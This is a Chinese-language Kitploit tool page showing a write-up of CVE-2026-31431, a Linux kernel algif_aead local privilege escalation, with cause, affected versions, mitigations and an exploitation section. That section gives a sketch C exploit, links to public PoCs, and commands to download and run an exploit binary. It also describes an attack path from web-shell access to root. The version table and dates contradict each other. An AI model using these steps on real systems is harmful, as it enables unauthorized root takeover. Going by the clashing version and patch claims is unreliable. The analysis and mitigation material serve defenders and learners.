Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
权限提升漏洞分析漏洞利用学习与教育
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

CVE-2026-31431 的技术分析,这是 Linux 内核中 algif_aead 模块的一个本地权限提升漏洞,包括根本原因、受影响版本、漏洞利用流程和缓解策略。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
13个月前尚未审核

CVE-2026-31431 — 完整技术分析

分类: 本地权限提升(LPE)— Linux 内核
CVSS: 7.8(高危)
影响: 无特权用户 → root
受影响模块: algif_aead(内核 AF_ALG 子系统)


目录

  1. 为什么存在漏洞?
  2. 哪些版本受影响?
  3. 如何利用
  4. 如何缓解

1. 为什么存在漏洞?

AF_ALG 子系统

Linux 内核向用户空间暴露了一个名为 AF_ALG(AF_ALG 套接字族)的加密接口。该接口允许无特权进程使用内核的加密加速器——加密、哈希、密钥生成——而无需 root 权限。

其中一个模块是 algif_aead,它实现了 AEAD(带关联数据的认证加密)模式,用于 AES-GCM 或 ChaCha20-Poly1305 等算法。

根本缺陷

该 bug 在于 algif_aead 在输出缓冲区小于预期时如何处理 sendmsg() + recvmsg() 操作。内核执行复制操作(copy_to_user)时未正确验证大小,导致:

root@kitploit:~
缓冲区溢出 → 内核内存越界写入

技术上:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy 向部分由用户控制的地址写入

这种越界写入允许覆盖内核内存中相邻的控制结构——特别是函数指针或 cred 结构——以实现权限提升。

为什么利用它不需要 root?

因为 AF_ALG 对无特权用户可用。任何进程都可以打开 AF_ALG 套接字并发送数据,无需事先认证。该漏洞利用不需要任何辅助漏洞。

root@kitploit:~
// 系统上任何用户都可以执行此操作
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. 哪些版本受影响?

受影响的内核

内核版本是否受影响?
< 5.10否(该模块当时不存在于此形式)
5.10 — 6.1.x是 ⚠️
6.2.x是 ⚠️(包含 PoC 使用的内核)
6.3+ 已应用补丁否 ✅

受影响最大的发行版

如何检查你的内核

root@kitploit:~
# 查看内核版本
uname -r

# 查看易受攻击的模块是否已加载
lsmod | grep algif_aead

# 查看 AF_ALG 是否可用
cat /proc/net/protocols | grep ALG

易受攻击的输出示例

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ 如果你在 lsmod 中看到 algif_aead,且你的内核是 Ubuntu 23.04 上的 6.2.x,你已暴露在风险中。


3. 如何利用

⚠️ 道德声明: 本节纯属教育目的。未经明确授权利用系统是非法且应受惩罚的。示例旨在用于受控的实验室环境。

漏洞利用流程

root@kitploit:~
1. 打开 AF_ALG 套接字 (algif_aead)
2. 使用超大缓冲区发送 sendmsg()
3. 使用较小缓冲区 recvmsg() → 触发 bug
4. 内核堆越界写入
5. 覆盖 cred->uid/gid 为 0
6. execve("/bin/sh") → root shell

概念性最小漏洞利用(C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 配置 16 字节密钥
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // 大缓冲区 → 触发越界写入
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... 使用 cmsg ALG_OP_ENCRYPT 构建 msghdr
    sendmsg(op_fd, &msg, 0);

    // 使用不足的缓冲区 recvmsg → 内核越界写入
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // 如果漏洞利用成功,我们现在是 root
    if (getuid() == 0) {
        printf("[+] 已获得 root 权限!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

这是一个简化方案。实际漏洞利用需要额外的堆整形原语,以将越界写入与 task_struct->cred 结构对齐。

已知的公开 PoC

以下仓库包含有文档记录的功能实现:

  • copy-fail-c — 纯 C 语言漏洞利用,需要编译
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — 独立 ELF 二进制文件,无需编译
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

典型用法(实验室)

root@kitploit:~
# 克隆并编译 copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# 在易受攻击系统上的预期结果:
# [*] 检查 algif_aead 模块...
# [*] 准备堆喷射...
# [+] 越界写入成功
# [+] UID 现在为:0
# # whoami
# root

使用 ELF 二进制文件(无需编译)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

真实攻击场景

root@kitploit:~
外部攻击者
      │
      ▼
利用 Web 漏洞(RCE)→ 获得 www-data 访问权限
      │
      ▼
上传 copyfail 到服务器(wget/curl)
      │
      ▼
执行 ./copyfail
      │
      ▼
服务器上获得 root shell ✓

从 www-data 访问到 root 的估计时间:< 30 秒。


4. 如何缓解

最终解决方案 — 更新系统

唯一真正的解决方案是使用已应用补丁的内核。

root@kitploit:~
# 选项 1:升级到 Ubuntu 24.04 LTS(推荐)
do-release-upgrade

# 选项 2:如果你已有 Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 验证内核已修补
uname -r   # 在 Ubuntu 22.04 上应为 ≥ 5.15.0-107

立即缓解 — 禁用易受攻击的模块

如果你现在无法更新,请禁用 algif_aead:

root@kitploit:~
# 创建模块黑名单
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# 重新生成 initramfs 以使其永久生效
sudo update-initramfs -u

# 重启
sudo reboot

验证其已禁用:

root@kitploit:~
lsmod | grep algif_aead
# 不应显示任何内容

⚠️ 这可能会破坏通过 AF_ALG 使用 AEAD 加密的软件(在标准 Web 服务器上不常见)。


使用 sysctl 缓解 — 限制用户命名空间

root@kitploit:~
# 禁用无特权的用户命名空间(会破坏 Docker 的某些功能)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# 使其永久生效
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

使用 AppArmor 缓解 — 阻止 AF_ALG

创建拒绝访问 AF_ALG 的 AppArmor 配置文件:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # 在特定配置文件中拒绝

对于 Web 进程(例如 nginx/www-data):

root@kitploit:~
# 添加到 www-data 或 nginx 的 AppArmor 配置文件中
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

降低影响 — 加固 www-data

虽然这不能阻止提权,但可以减少初始攻击面:

root@kitploit:~
# 验证 www-data 没有 sudo 权限
sudo grep www-data /etc/sudoers

# 移除不必要的 SUID 二进制文件
find / -perm -4000 2>/dev/null

# 限制可访问的目录
chmod 700 /root
chmod 750 /home/*

缓解措施汇总表


参考

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • 修复的内核提交:子系统 crypto/algif_aead.c
  • PoC:https://github.com/tgies/copy-fail-c
  • PoC ELF:https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • 相关的 Ubuntu 安全公告:USN-XXXX-1

本文档仅供学术目的编写 — 系统管理员工程师,2026

下载工具
发行版典型内核是否有补丁?
Ubuntu 23.04 (lunar)6.2.0❌ 已停止支持 — 无补丁
Ubuntu 22.04 LTS5.15.x✅ 已修补
Ubuntu 24.04 LTS6.8.x✅ 不受影响
Debian 12 (Bookworm)6.1.x✅ 已修补
Arch Linux (2026-03+)6.8.x✅ 不受影响
缓解措施有效性对服务的影响永久性
更新到 Ubuntu 24.04✅ 完全最小是
黑名单 algif_aead✅ 高非常低是
unprivileged_userns_clone=0🟡 部分中等是
AppArmor AF_ALG 拒绝✅ 高低是
加固 www-data🟡 降低无是